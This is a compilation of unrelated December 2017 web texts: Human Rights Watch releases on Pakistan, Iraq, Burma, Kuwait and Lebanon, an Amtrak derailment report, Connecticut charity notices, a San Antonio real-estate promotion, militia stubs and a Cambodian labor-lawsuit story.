On December 14, 2017, several international nongovernmental organizations (INGOs), including Open Society Foundations and ActionAid, told the media that they had received letters from the federal government rejecting their applications for registration. The government has not published the list of affected groups, but according to media reports, none have been provided with reasons for the decision.

"The Pakistani government's closure of international organizations without allowing these decisions to be contested shows disturbing disregard for the well-being of ordinary Pakistanis who benefit from them," said Brad Adams, Asia director. "The government should be facilitating the vital work of independent groups, not obstructing it with intimidation tactics."

The "Policy for Regulation of INGOs in Pakistan," announced on October 1, 2015, contains vague and overly restrictive regulations that have harmed the work climate for many international groups. The regulations require all INGOs to register and obtain prior permission from the Ministry of Interior to carry out any activities in the country, and restrict their operations to specific issues and geographical areas. The ministry is broadly empowered to cancel registrations on grounds of "involvement in any activity inconsistent with Pakistan's national interests, or contrary to Government policy"-terms that have vague meanings and can be used for political reasons to target critical organizations or individuals.

Pakistan's government has the responsibility to prevent fraud, financial malfeasance, and other illegal activities by INGOs, but Pakistan already has other laws and regulations that address such concerns. The INGO regulations severely restrict rights to freedom of association and expression for Pakistanis working for INGOs, as well as for foreign nationals. These rights are protected under the Pakistani constitution and international human rights law.

International groups make significant contributions to Pakistan in safeguarding and promoting health, nutrition, education, sanitation, food security, and the rule of law and human rights, among many other areas. International humanitarian and development organizations working in Pakistan employ thousands of Pakistanis, contribute hundreds of millions of US dollars to the national economy, and, working alongside their local partners, reach an estimated 20 million Pakistanis with assistance and services every year.

Under the regulations, all international organizations are required to obtain permission in advance from a government "INGO committee" chaired by the secretary of the Ministry of Interior before carrying out any activity in Pakistan. The committee has the power to rescind that permission at any time, for vaguely defined reasons.

The regulations provide for a right of appeal only on decisions by the INGO committee to cancel registration. The appeals process, to a Special Ministerial Committee, will be final, denying the groups any recourse through an independent judicial process.

The Pakistani government should revise the policy for INGOs so that it does not contravene the rights to freedom of expression and association, and cannot be misused for political reasons to restrict the peaceful activities of nongovernmental organizations.

"The recent action against nongovernmental organizations comes amidst a shrinking space for free expression and dissenting voices," Adams said. "Placing arbitrary restrictions on international groups is likely to increase the climate of fear for domestic organizations."

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Iraq: Parliament Rejects Marriage for 8-Year-Old Girls

Publisher Human Rights Watch Publication Date 17 December 2017 Cite as Human Rights Watch, Iraq: Parliament Rejects Marriage for 8-Year-Old Girls, 17 December 2017, available at: https://www.refworld.org/docid/5a3926874.html [accessed 18 November 2022] Disclaimer This is not a UNHCR publication. UNHCR is not responsible for, nor does it necessarily endorse, its content. Any views expressed are solely those of the author or publisher and do not necessarily reflect those of UNHCR, the United Nations or its Member States.

Iraq's parliament has rejected proposed amendments to Iraq's Personal Status Law (PSL) that would allow religious judges to impose discriminatory law on family matters, Human Rights Watch said today.

The amendments would have covered areas including inheritance and divorce, and, by giving powers to impose family laws to certain religious communities, would have allowed girls to be married as young as age 8 under some of these laws. The head of the women's rights committee in parliament rejected the initiative in mid-November, blocking the bill. However, two leading women's rights organizations say that some parliament members have threatened to continue to push for the amendments to secure votes in some parts of the country in the May 2018 parliamentary elections.

"Parliament's women's rights committee has made a great contribution to Iraqi society in rejecting this effort to scuttle Iraq's family law protections," said Belkis Wille, senior Iraq researcher at Human Rights Watch. "Threats by lawmakers to dismantle protections under the current law and restore discriminatory laws would be devastating to women's rights."

Parliament members from several Shia Islamic parties, spearheaded by the Fadhila Party, to which the justice minister belongs, proposed the amendments on November 1. The proposed amendments would enshrine Shia and Sunni religious establishment control over marriage-related matters and require courts to make exceptions to existing legal protections.

Hanaa Edwar, founder and general secretary of Al-Amal Association, a leading Iraqi human rights organization, and a member of the Human Rights Watch Middle East Advisory Committee, said the members also threatened to continue to push for the amendments unless the women's rights committee dropped key protections in a domestic violence bill pending before parliament since 2015.

"The proposed amendments seek to establish sectarianism and undermine the principle of citizenship and national identity of Iraq," Edwar told Human Rights Watch. "The amendments would violate key rights enshrined in Iraq's constitution and laws, and would treat women as inferior to men."

The current law applies to everyone regardless of their religious affiliation, and is administered by Iraq's secular court system. The proposed amendments instead would require the secular courts to apply religious law on marriage, divorce, and inheritance. The amendments also recommend - but do not require - establishing specialized Personal Status Courts, headed by religious judges, to adjudicate family law issues.

The current law sets the legal age for marriage at 18, but allows a judge to permit girls as young as 15 to be married in "urgent" cases. According to a 2016 The United Nations Childrens' Fund (UNICEF) report, 5 percent of Iraqi children are married by age 15, and 24 percent by age 18. According to a women's rights lawyer, this is because many families arrange marriages through religious marriage contracts outside the legal system, though they are illegal.

The amendments also would undermine protections for divorced women. Under the current law, if a husband requests a divorce, the wife has the right to remain in their marital home for three years at the husband's expense and to receive two years of maintenance and the current value of her dowry. If a wife requests a divorce, a judge can award her some of these benefits depending on the circumstances.

Because religious law offers fewer protections, under the proposed amendments, women would have lost many of these protections. For example, under the Jaafari Shia school of law, the woman has no right to the marital home, maintenance, or her dowry and children remain living with her for only two years, regardless of their age, during which she is not allowed to remarry.

Women would also lose some inheritance rights. Even under existing law, daughters inherit a lower proportion of a parent's wealth than sons. But under some religious laws, daughters would inherit even less and if the family has no son to inherit the agricultural land, it would revert to the state.

"The current personal status law was drafted by taking the most rights-upholding aspects of the different sects in Iraq," Yanar Mohammed, president of the Organization of Women's Freedom in Iraq, told Human Rights Watch. "The push for these amendments is part of a political game linked to the upcoming May 2018 parliamentary elections."

She said that while the driving forces behind these amendments came from a group of Shia Islamic parties, she feared that some Sunni members of parliament would also support them to give the clergy more authority over daily life. This is the second attempt in recent years to introduce discriminatory religious personal status laws. In February 2014 the Council of Ministers approved a draft law, the "Jaafari Personal Status Law," which would have covered Iraq's Shia citizens and residents, prohibited them from marrying non-Muslims, effectively legalized marital rape, prevented women from leaving the house without their husbands' permission, and allowed girls younger than 9 to be married with a parent's approval. After pressure from local human rights activists, parliament did not move the bill forward.

These new proposed amendments violate the Convention on the Elimination of All Forms of Discrimination against Women (CEDAW), which Iraq ratified in 1986, by giving fewer rights to women and girls on the basis of their gender. They also violate the Convention on Rights of the Child, which Iraq ratified in 1994, by legalizing child marriage, putting girls at risk of forced and early marriage and susceptible to sexual abuse, and not requiring decisions about children in divorce cases to be made in the best interests of the child. The draft amendments appear to violate the International Covenants on Civil and Political Rights and on Economic, Social and Cultural Rights by granting fewer rights to certain people on the basis of their religion.

The draft amendments also starkly contrast with article 14 of Iraq's constitution, which prohibits "discrimination and distinction between Iraqis" and guarantees the equality of all Iraqis "without distinction to religion, faith, nationality, sex, opinion, economic or social status." Article 13 of Iraq's constitution stipulates that it is the "supreme law" in Iraq and that "no law that contradicts this Constitution shall be enacted."

The CEDAW committee, the body of international experts who review state compliance with CEDAW, concluded in 2013 that, "identity-based personal status laws and customs perpetuate discrimination against women and that the preservation of multiple legal systems is in itself discriminatory against women."

In its 2013 review, the CEDAW committee has previously recommended that Iraq repeal discriminatory legal exceptions to the minimum age of marriage for girls. It said that legal exceptions to the minimum age of marriage should be granted only in exceptional cases and authorized by a competent court for both girls and boys, and only in cases in which they are at least 16 and give their express consent.

"While lawmakers may have failed this time around, the threat of these terrible amendments still looms, and is being used as leverage to try to whittle away at key human rights protections in the domestic violence law," Wille said. "Iraqi parliamentarians should reject these efforts to reverse the progress Iraqi society has made in creating laws that protect all of its citizens.

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Burma: 40 Rohingya Villages Burned Since October

Publisher Human Rights Watch Publication Date 17 December 2017 Cite as Human Rights Watch, Burma: 40 Rohingya Villages Burned Since October, 17 December 2017, available at: https://www.refworld.org/docid/5a3926fa4.html [accessed 18 November 2022] Disclaimer This is not a UNHCR publication. UNHCR is not responsible for, nor does it necessarily endorse, its content. Any views expressed are solely those of the author or publisher and do not necessarily reflect those of UNHCR, the United Nations or its Member States.

Analysis of satellite imagery reveals new destruction of Rohingya villages during October and November 2017 in northern Rakhine State in Burma, Human Rights Watch said today.

Human Rights Watch identified 40 villages with building destruction occurring in October and November, increasing the total to 354 villages that have been partially or completely destroyed since August 25, 2017. During this period, thousands more Rohingya refugees fled Burma and arrived in Bangladesh.

Satellite imagery confirms that dozens of buildings were burned the same week Burma and Bangladesh signed a Memorandum of Understanding on November 23 to begin returning refugees in Bangladesh within two months. On November 25, satellite data detected an active fire and building destruction in Myo Mi Chang village in Rakhine State's Maungdaw Township. Four villages suffered building destruction between November 25 and December 2.

"The Burmese army's destruction of Rohingya villages within days of signing a refugee repatriation agreement with Bangladesh shows that commitments to safe returns were just a public relations stunt," said Brad Adams, Asia director at Human Rights Watch. "The satellite imagery shows what the Burmese army denies: that Rohingya villages continue to be destroyed. Burmese government pledges to ensure the safety of returning Rohingya cannot be taken seriously."

Human Rights Watch has used satellite imagery to assess and monitor over 1,000 villages and towns in the townships of Maungdaw, Buthidaung, and Rathiduang, where the Burmese military and vigilantes have engaged in attacks on Rohingya. Human Rights Watch found that the damage patterns in the 354 affected villages are consistent with burning occurring in the weeks after the military operations began in late August.

Of the 354 affected villages, at least 118 were either partially or completely destroyed after September 5 -- the date the Burmese State Counsellor's office announced as the end of clearance operations. Of the 40 new villages with building destruction identified by Human Rights Watch, 24 were destroyed in October, 11 in November, and 5 over both months.

The latest documented arson attacks occurred between November 25 and December 2 in four villages. Satellite data from environmental sensors detected an active fire at 12:30 p.m. in the Rohingya village of Myo Mi Chang in Maungdaw Township on November 25. Building destruction was concentrated in the center of the village, which was undamaged until this attack. Other villages subjected to arson attacks during this period include Nga/Myin Baw, Goke Pi, and an unknown village in the village tract of Zee Pin Chaung.

On November 23, Bangladesh and Burma signed an Arrangement on Return of Displaced Persons from Rakhine State on behalf of "residents of Rakhine State" who crossed from Burma into Bangladesh after October 9, 2016 and August 25, 2017. In letters to both governments, Human Rights Watch said the agreement should be shelved, noting the lack of involvement by the United Nations and the unrealistic timetable for safe and voluntary returns starting in January 2018.

Since late August, the Burmese military has committed widespread killings, rapes, arbitrary arrests, and mass arson in hundreds of predominantly Rohingya villages in northern Rakhine State, forcing more than 655,000 Rohingya to flee to neighboring Bangladesh. Human Rights Watch has found that this campaign of ethnic cleansing amounts to crimes against humanity. Attacks by the Arakan Rohingya Salvation Army (ARSA) armed group on 30 security force outposts and an army base that killed 11 Burmese security personnel set off the Burmese military "clearance operations" against the Rohingya.

In November, a Burmese army "investigation team" report concluded that there were "no deaths of innocent people" during the military operation in Rakhine State, and that at least 376 "terrorists" were killed during fighting, contrary to information reported by the UN, media outlets, and human rights groups, including Human Rights Watch. The humanitarian group Medecins Sans Frontieres (MSF) on December 14 concluded that at least 6,700 Rohingya were killed in the violence, over 700 of whom were children, based on survey data of refugees in Bangladesh.

"The UN Security Council and concerned governments shouldn't continue to stand by as evidence of continuing attacks on the Rohingya community comes to light," Adams said. "Targeted sanctions need to be imposed now against those responsible for ordering and carrying out crimes against humanity."

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Kuwait: Mass Convictions for 2011 Protest

Publisher Human Rights Watch Publication Date 18 December 2017 Cite as Human Rights Watch, Kuwait: Mass Convictions for 2011 Protest, 18 December 2017, available at: https://www.refworld.org/docid/5a39277a4.html [accessed 18 November 2022] Disclaimer This is not a UNHCR publication. UNHCR is not responsible for, nor does it necessarily endorse, its content. Any views expressed are solely those of the author or publisher and do not necessarily reflect those of UNHCR, the United Nations or its Member States.

The mass conviction on November 27, 2017, of more than 60 people involved in demonstrations at Kuwait's parliament in 2011 included convictions for assembly and speech, Human Rights Watch said today. Kuwait's judiciary should vacate the convictions that punished peaceful speech or assembly and repeal laws criminalizing peaceful speech and protest.

Human Rights Watch reviewed the 182-page Court of Appeals decision, which found 67 people guilty of a range of charges, sentencing them to between one and nine years in prison with labor, including opposition leader Musallam al-Barrack who was sentenced to nine years. The vast majority received sentences for using force against police, but the court also found 65 people guilty of participating in an unlicensed public assembly or gathering, and 16 of crimes that appear to violate free speech, including insulting the emir and offending police. The court sentenced one defendant to an additional two years on charges of insulting the Emir and offending police alone.

"These heavy-handed sentences smack of intimidation and retaliation for criticism of authorities," said Lama Fakih, deputy Middle East director at Human Rights Watch. "Regulating protests is one thing, but sentencing people to prison for offending the authorities only serves to intimidate others from speaking out."

Kuwait frequently prosecutes people for speech offenses, such as for offending the authorities. Human Rights Watch maintains an interactive website featuring some of the high-profile cases.

In November 2011, during the so-called Arab Spring, the protesters reportedly entered Kuwait's parliament building as hundreds of people demonstrated outside, calling on Prime Minister Sheikh Nasser al-Mohammad al-Sabah to step down over corruption claims. In response, Kuwait's emir, Sheikh Sabah al-Ahmed al-Sabah, said the protest had been a threat to the country's security and stability and called for stricter security measures. In December 2013, a Kuwaiti court had cleared the protesters, who included members of parliament, of all charges. But prosecutors appealed to the Court of Appeals, leading to the mass convictions.

One of the defense lawyers told Human Rights Watch that the people convicted on November 27 had appealed the sentence to the Court of Cassation. He said that more than 30 defendants had already turned themselves in and that police had arrested two others.

Kuwaiti authorities have long-restricted freedom of assembly and expression, and should repeal laws that criminalize peaceful assembly and expression, Human Rights Watch said.

Kuwaiti authorities have invoked several provisions in the constitution, penal code, Printing and Publication Law, Misuse of Telephone Communications and Bugging Devices Law, Public Gatherings Law, and National Unity Law to prosecute journalists, politicians, and activists for criticizing the emir, the government, religion, and rulers of neighboring countries in blogs or on Twitter, Facebook, or other social media.

In 2016, Kuwait amended the election law to bar all those convicted for "insulting" God, the prophets, or the emir from running for office or voting in elections. The law is likely to bar some opposition members of parliament from running for office or voting in future elections.

The Cybercrime Law, which went into effect in 2016, includes far-reaching restrictions on internet-based speech, such as prison sentences, and fines for insulting religion, religious figures, and the emir.

"These convictions come amid a clampdown on freedom of expression and assembly across the Middle East," Whitson said. "Kuwait should be setting itself apart in the region as a tolerant and open country that respects freedom of expression and protest and dissenting views."

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Lebanon: Police Violence at Protest on Jerusalem

Publisher Human Rights Watch Publication Date 19 December 2017 Cite as Human Rights Watch, Lebanon: Police Violence at Protest on Jerusalem, 19 December 2017, available at: https://www.refworld.org/docid/5a3928af4.html [accessed 18 November 2022] Disclaimer This is not a UNHCR publication. UNHCR is not responsible for, nor does it necessarily endorse, its content. Any views expressed are solely those of the author or publisher and do not necessarily reflect those of UNHCR, the United Nations or its Member States.

Demonstrators had gathered to protest the United States decision on December 6 to recognize Jerusalem as the capital of Israel. Witnesses said that although the protest turned violent, with some protesters throwing rocks at security forces, riot police reacted indiscriminately and excessively, using water cannons, rubber bullets, teargas, and batons. Videos and photos from the protest appear to corroborate these statements.

"Police should be managing the crowds at protests professionally, not jumping into the fray and using force indiscriminately," said Lama Fakih, deputy Middle East director at Human Rights Watch. "We are concerned that this pattern of excessive force against protesters will continue until authorities end the current climate of impunity."

The Internal Security Forces, in a December 16 response to a Human Rights Watch query regarding investigations, said that they would "take necessary measures against those of our members who violated the law." They added that those violating the laws "were very few  these actions are very limited and individual  among hundreds of participants in the mission, who have achieved the utmost restraint and respect for security and order procedures that respect the principles of human rights."

Human Rights Watch spoke with seven protesters and journalists who were at the demonstration and reviewed videos and photos from the protest. Videos show police officers beating people with batons, and two videos showed police officers in separate incidents kicking people as they lay on the ground.

All seven witnesses said that police appeared to use force on protesters who were not violent or were in custody, and against journalists. One protester said that police kicked him in the back and legs and hit him with batons as he was attempting to help a person who had fallen unconscious.

"I remember officers just stampeding people and just starting to beat people who were already on the floor, they were going after everyone," said one witness. "They weren't differentiating between people who were part of the protest and media."

Witnesses and journalists also said that police told them they were not allowed to film or take photos. One journalist said that police fired a rubber bullet directly at him from less than five meters away, for which he was treated at a hospital. He said police hit journalists, knocked their cameras to the ground, and told them they were not allowed to photograph the protest. Another journalist said that a police officer hit her with a baton as she was trying to film.

Lebanese media reported on December 15 that six protesters, including a child, appeared before the Military Tribunal on charges of rioting, assaulting police, and destruction of property. Human Rights Watch opposes the use of military courts to try civilians and children, and has found that such trials in Lebanon do not respect due process rights and violate international law.

Human Rights Watch and local human rights organizations have long documented the unlawful use of force by security agencies against protesters in Lebanon. Lebanese military personnel beat and kicked protesters demonstrating against a third extension of parliament's term on June 16, 2017. And on August 22 and 23, 2015, Lebanese security personnel used rubber bullets, teargas canisters, water cannons, rifle butts, and batons at a protest in downtown Beirut over a waste management crisis and corruption.

Impunity for violence by security forces is a recurring problem in Lebanon. Even when officials have initiated investigations into previous incidents of excessive, and in some cases, lethal violence against protesters, the investigations have often not been concluded or made public. Although the Lebanese army announced an investigation into the June 16 incident, it has not made the results public.

Law enforcement officers are permitted to use force to disperse protests that turn violent. But the development and deployment of nonlethal incapacitating weapons should be carefully evaluated to minimize the risk of endangering people who are not involved and the use of such weapons should be carefully controlled. Whenever the lawful use of force and firearms is unavoidable, law enforcement officials must exercise restraint and act in proportion to the seriousness of the offense and the legitimate objective to be achieved, while minimizing damage and injury.

The United Nations Human Rights Committee, which monitors compliance with the International Covenant on Civil and Political Rights, ratified by Lebanon in 1972, has called on governments to ensure that regulations governing the use of force and weapons by police conform fully with the UN Basic Principles on the Use of Force and Firearms and that "any violations of these rules be systematically investigated in order to bring those found to have committed such acts before the courts; and that those found guilty be punished and the victims be compensated." Lebanese authorities should allow an independent review of police conduct during the demonstrations, and use maximum restraint in response to protests.

"Although police can use force to control a protest in certain cases, that does not mean they have the right to use it against protesters and journalists indiscriminately," Fakih said. "International donors funding the Internal Security Forces should pay careful attention to how their money is being used."

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The deadly Amtrak crash in Washington state marked the railroad's third fatal accident in as many years, putting the passenger rail operator under fresh scrutiny less than a month after safety regulators issued a scathing report.

Amtrak train 501 was traveling to Portland, Oregon during Monday's morning rush hour when it derailed near DuPont, Washington, about 50 miles south of Seattle. Several rail cars plunged off an overpass, hitting vehicles on the busy Interstate 5 expressway below. At least three people died, 13 cars jumped the track and a state of emergency was declared by Washington Gov. Jay Inslee.

It was the first day that Amtrak trains were running on the Point Defiance Bypass Project, an inland route formerly owned by Berkshire Hathaway's BNSF Railway that had been upgraded by the state for higher-speed Amtrak passenger rail service.

"This is a brand new stretch of track, the question will be, 'Was it designed correctly?' " said Fred Millar, an independent rail safety consultant. "People were pretty dismayed this train could crash over the wall and into the highway."

The National Transportation Safety Board last month decried the safety culture of Amtrak in its report into an April 2016 derailment in Chester, Pennsylvania that killed two track workers and injured another 39 people. In a statement Nov. 14, the NTSB cited a "deficient safety management across many levels of Amtrak."

"Amtrak's safety culture is failing, and is primed to fail again, until and unless Amtrak changes the way it practices safety management," NTSB Chairman Robert Sumwalt said in a statement then.

The Chester accident was one of two major Amtrak derailments in 2016. The year before, a crash in Philadelphia killed eight and injured more than 200. It was blamed on a distracted engineer. The train was traveling at more than twice the speed limit through a curved stretch of track before it derailed.

"When the NTSB gives us a recommendation, we implement their recommendations," Amtrak President Richard Anderson said on a call with reporters after Monday's accident. "I assure you that we take those very seriously and continue to make the investments recommended by the NTSB."

President Donald Trump said on Twitter that the derailment shows "more than ever" why the White House's coming infrastructure plan needs swift approval, saying, "Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!"

Trump's fiscal year 2018 budget proposal, however, called for slashing Amtrak's funding by $630 million and ending long-distance routes, citing poor on-time performance and the costs of those routes. Amtrak, which carries more than 30 million passengers a year, reported an operating loss of $227 million in fiscal-year 2016, on revenues of $3.2 billion.

Monday's crash occurred on tracks owned by Sound Transit, a public transit agency serving the Seattle metro area and the state of Washington. The states of Oregon and Washington own the Amtrak Cascades service, which runs from Eugene, Oregon to Vancouver, Canada. Amtrak runs it as a contractor.

The overlapping ownership and operations complicates the investigation, said Deborah Hersman, chief executive officer of the National Safety Council, a private safety advocacy group.

"If it happens on the Northeast corridor on an Amtrak route with Amtrak equipment and Amtrak operating, certainly they're going to be wholly responsible," Hersman said. "We have to understand the full picture and it's still to early to tell what the cause is and really assign that to anyone."

Pictures of the crash suggest speed may be a factor, former NTSB chair Mary Schiavo said in an interview on CNN. In a low-speed crash, train cars generally still stay in line. In this case, the cars were scattered all over, she said. The train was traveling at 80 miles per hour just before it left the tracks, the Associated Press reported.

"It looks to me like it was a high-speed event on a curve," because the train cars were "thrown like leaves in the wind," Schiavo said.

The investigation may review why an automated train-safety system long recommended by the NTSB wasn't installed on the section of rail.

Positive Train Control is a system that monitors other trains to prevent collisions and also ensures that a train doesn't speed.

The NTSB has for years pushed federal and local railroad regulators to install the train-control system to prevent accidents. It would have slowed an Amtrak train that derailed in Philadelphia in 2015, the safety board concluded.

Congress mandated the installation of the system, but pushed back the deadline to 2018 after railroads said they couldn't meet an earlier requirement. Amtrak's Anderson said it wasn't active on the tracks where Monday's accident occurred.

The NTSB dispatched an investigative team to the scene, which occurred on the debut run of a route intended to ease congestion on tracks Amtrak shares with nearly 50 freight trains daily. The launch of public service began "after weeks of inspection and testing," according to the Washington State Department of Transportation.

Rail accidents killed 775 people in the U.S. last year, up from 748 in 2015, according to figures from the Federal Railroad Association. Nearly 700 died in railway accidents from January through September of this year, according to the agency. The figures include deaths involving passenger, freight and commuter rails, as well as those struck by trains.

Trump has promised to seek $1 trillion in U.S. infrastructure investment, and the White House plans to release a detailed document of principles in January for Congress to draft legislation, an administration official has said.

But the principles aren't expected to target Amtrak or passenger rail specifically. Rather, the plan calls for allocating at least $200 billion in federal funding over 10 years from unspecified budget cuts to spur at least $800 billion in spending by states, localities and the private sector.

The bulk of the federal money would go to a pool of cash for which states and localities could apply, with preference given to those that raise taxes or find other dedicated revenue for projects, the official has said. The idea is to encourage self-help and avoid supplanting non-federal funding.

Democrats and infrastructure advocates have already complained that $200 billion is insufficient, that states and localities are already doing their fair share, and the federal government needs to be a better partner.

Senate Democrats have proposed $1 trillion in federal investment, including $50 billion to "modernize America's rail infrastructure." The proposal doesn't identify a funding source.

Funding is tricky because Democrats want more federal money and Republicans don't want deficit spending, said Republican Rep. Bill Shuster, chairman of the House Transportation and Infrastructure Committee.

"So we have to find a path forward that satisfies both the Democrats and Republicans," Shuster said. "But I believe there is a path forward."

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Bloomberg's Ari Natter contributed.
FARMINGTON  The American Red Cross is urging eligible donors to give more life to patients now and into the new year by giving blood or platelets.

Donations decline during the time between Thanksgiving and New Years Day when busy holiday schedules cause regular donors to be less available to give and many blood drives may be canceled due to severe winter storms. Last year, nearly 64,000 fewer blood and platelet donations were given through the Red Cross during the seven weeks from Thanksgiving through the first week of January than the average during the rest of the year.

By taking just about an hour of time today, you can help save someones life within a few weeks or even days of your donation, said Kelly Isenor, External Communications Manager of the Red Cross Connecticut Blood Services Region, in a written statement. Were asking donors to give now to help ensure blood is available when patients need it most.

Blood is perishable and can only be replenished by volunteer donors. Red blood cells, the most transfused blood product, must be transfused within 42 days. Platelets, the tiny cells that form clots and help stop bleeding, must be transfused within just five days. More than half of all platelet donations go to cancer patients who may need platelet transfusions to prevent life-threatening bleeding during chemotherapy.

Platelet donors dont have to wait a few weeks to make a difference in a patients life, said Isenor. Someone could donate platelets on Monday, and by Friday, those same platelets can help someones fight to kick cancer.

Kelly Ellison certainly knows that. Twenty-eight weeks into her third pregnancy, she was raced to the hospital with uncontrollable bleeding and received a doubly devastating diagnosis. Not only did she have aplastic anemia - a rare blood disorder in which the bodys bone marrow does not produce enough new blood cells - doctors also detected kidney cancer. Kelly received 43 units of blood and platelets. Five weeks later, she gave birth prematurely to her son, who also needed blood transfusions to survive.

All blood types are needed this winter. Platelet donations are especially encouraged the first week of the new year, which is among the most difficult to collect enough platelets to meet patient needs. Donation appointments can be quickly and easily scheduled by using the Red Cross Blood Donor App, visiting redcrossblood.org or calling 1-800-RED CROSS (1-800-733-2767).

As a special thank-you for taking the time to donate, those who donated between Dec. 21 through Jan. 7 will receive a long-sleeved Red Cross T-shirt, while supplies last.

Simply download the American Red Cross Blood Donor App, visit redcrossblood.org or call 1-800-RED CROSS (1-800-733-2767) to make an appointment or for more information. All blood types are needed to ensure a reliable supply for patients. A blood donor card or drivers license or two other forms of identification are required at check-in. Individuals who are 17 years of age in most states (16 with parental consent where allowed by state law), weigh at least 110 pounds and are in generally good health may be eligible to donate blood. High school students and other donors 18 years of age and younger also have to meet certain height and weight requirements.

Blood and platelet donors can save time at their next donation by using RapidPass to complete their pre-donation reading and health history questionnaire online, on the day of their donation, from a computer or mobile device. To get started and learn more, visit redcrossblood.org/RapidPass and follow the instructions on the site.
LITCHFIELD  tThe 28th Annual Possum Queen Contest returns to the Litchfield Inn on Monday, Jan. 1, welcoming guests starting at 12 p.m. for an afternoon of fun, music and merriment.

The tongue-in-cheek beauty pageant is described as a wacky fundraiser for local families who are experiencing extended medical hardships.

The Possum Queen Foundation is a 501(c)3 charitable foundation which has raised more than $300,000 over the years to help people in need. All donations are tax deductible.

Since its founding, the Possum Queen Contest has evolved from a gathering of friends at Wickets in Litchfield, moving to The Village Restaurant and settling to its home at the Litchfield Inn where it has been held for the last 8 years.

Early arrival is always encouraged, giving guests a chance to visit the silent auction room and make their bids. A live auction starts later in the day, and is accompanied by the beauty contest where teams, made up of families and friends, perform skits on stage, dressed in costume and presenting everything from their own version of musicals and movies to original shows. Over the years, groups have presented skits on everything from Willy Wonka and the Chocolate Factory to The Wizard of Oz, Batman and everything in between. The contest is also an opportunity for participants to bribe the judges, which is strongly encouraged, but doesnt guarantee a win.

Auction Items are now being accepted; to make a donation, email the contests auction coordinator at pbuonocore01@snet.net

Auction items are far-reaching. For the music lovers, prizes include performances by four local bands who are offering their talents, including Ian Campbell, Kenn Morr, RPM, and Jeff Connelly. For foodies, prizes include a dinner for six from a famed New York City chef at his home in Milton; a dinner at the Litchfield Inn with the Possum Queen semi-celebrities serving as waiters and waitresses, and lunch at the Mayflower Grace in Washington.

The Warner Theater is donating 2 tickets to 12 events throughout the year. There are a pair of tickets to the Newport Jazz Festival, a weekend at a beach-side house in Rhode Island, a chance to be an FM DJ on WZBG inn Torrington, collectibles and much more. One of the most popular items up for bid is the can of possum stew.

In 2017, the Possum Queen Contest raised more than $70,000 in one day.

This year our needs are greater as we have more people who we want to help, event organizers said. We help people year-round now, and there are many of your neighbors in need.

For more information contact possumcoach21@gmail.com
TORRINGTON  The Salvation Army is set to distribute thousands of toys to parents of children in need this week for Christmas. While most Salvation Army locations are close to their goal, Bridgeport and Torrington are experiencing a short fall. 70 children in Torrington and 179 children in Bridgeport are still in need of toys. Those who are able are asked to donate new unwrapped toys and bring them to The Salvation Army at 234 Oak Avenue in Torrington.

The Salvation Army has set a Red Kettle fundraising goal of $1,312,000 in Connecticut. As of Dec. 14, it had raised approximately $769,000.
San Antonio, TX -- (ReleaseWire) -- 12/19/2017 --In today's real estate market, the challenge for homeowners who want to sell their home rapidly is that they must contend with banks and other credit lenders who have taken back many homes through the foreclosure procedure. These foreclosed houses are then placed on the open market in a given center of population and are recurrently being obtainable at eighty percent or less of their assessed value. This is having a far-reaching downward consequence on house prices. But, there are things one can do if one wants to undertake homes for Sale in San Antonio Texas for hard cash at present.



Homeowners who have to sell a house quickly because of job loss, high-priced mortgage payments, transfer, or relocation, inheritance, divorce, or any other of a number of reasons can search for a company that purchase houses on the internet or through the local 'real estate wanted' segment of their neighboring newspaper to find a real estate investor who can buy a house for a cash offer in a short phase of time. Some investors publicize on plastic signs on telephone poles and fences, but most of these posters are placed by investors of uncertain backgrounds.



Do the homework on the internet preferably: make sure to research the individual or corporation an individual is considering doing business with to see if they are highly regarded. If the investor claims to have, specialized licenses check their online records if obtainable. In most cases, the 'simpler' the transaction the better opportunity people has of dealing with an undemanding real estate agent San Antonio and Boerne Texas. This means that one should sell the house completely and directly in the conventional formal manner at a title company or escrow or of one's preference or with a demonstration of an even-handed real estate attorney that is not working entirely for the investor.



Call them at 888-209-2001.



About The Allen Realty Group

The Allen Realty Group is an ideal destination for residents at San Antonio to hunt for new home. With their Professional Guidance from Contract to Closing, you can be sure that we'll be with you every step of the way.
During the American Revolution many local state militia units were created to help defend the rights of the colonies. The Smiths Regiment of Foot (1776), a militia unit from Massachusetts, fought in support of the American cause.

Source(s): http://en.wikipedia.org/wiki/List_of_United_States_militia_units_in_the_American_Revolutionary_War
During the American Revolution many local state militia units were created to help defend the rights of the colonies. The Babcocks Regiment of Militia (177677), a militia unit from Rhode Island, fought in support of the American cause.

Source(s): http://en.wikipedia.org/wiki/List_of_United_States_militia_units_in_the_American_Revolutionary_War
UPDATED at 12:20 A.M. EST on 2017-12-20



More than 100 government-aligned trade unions and federations have filed a joint lawsuit against the former leader of the Free Trade Union of Workers of the Kingdom of Cambodia (FTUWKC), Chea Mony, accusing him of calling for international sanctions against the government for dissolving the countrys opposition party.



In November, Cambodias Supreme Court disbanded the opposition Cambodia National Rescue Party (CNRP) and barred 118 of its officials from politics for five years for the partys involvement in an alleged plot to overthrow Prime Minister Hun Sens government. CNRP President Kem Sokha has been in pre-trial detention since his arrest in September on charges of treason.



In an interview with RFAs Khmer Service last week, Chea Mony urged the European Union and U.S. to place sanctions on Cambodia the sooner the better, in a bid to pressure Hun Sens government to reinstate the CNRP, release Kem Sokha, and reverse a months-long crackdown on NGOs and the media, ahead of a general election set for July next year.



On Monday, a group of 120 lesser-known trade unions and federations, led by the government-aligned Cambodian Union Federation (CUF), filed a lawsuit against Chea Mony, demanding he be charged with incitement for suggesting that the EU and U.S. end orders of exports from Cambodia that prop up the livelihoods of the countrys workersparticularly those in the garment sector.



The lawsuit, which alleges that Chea Mony seeks to make the workers hate the government and rise up against it, also argues for U.S. $1 million in compensation to be paid to the countrys laborers.



According to a report by the Phnom Penh Post, one of the plaintiffs, Long Sophat, of pro-government Youth Spirit Confederation for Cambodian Labour, said he also plans to file a court complaint against the 118 CNRP officials banned from politics, but declined to provide details.



Chea Mony on Monday denied the allegations in the lawsuit and stood by his comments to RFA last week.



My major concern is whether the court is independent or not, he said.



With regard to this lawsuit filed by various trade unions and federations, I am not concerned because I dont think that they listened to the full content of the interview with RFA.



Chea Mony noted that during the interview, he was asked whether he was concerned that the EU might terminate assistance to Cambodia and block purchases of textile products from the country.



I replied that Im very concerned  since it will affect the garment workers and others who benefit from the workers, and that all of this will have occurred as a result of the Cambodian governments persecution of the CNRP, including the arrest and jailing of the CNRPs leader, he said.



That is what I said. I didnt appeal to the EU to place sanctions on Cambodia. I dont have the power to do so.



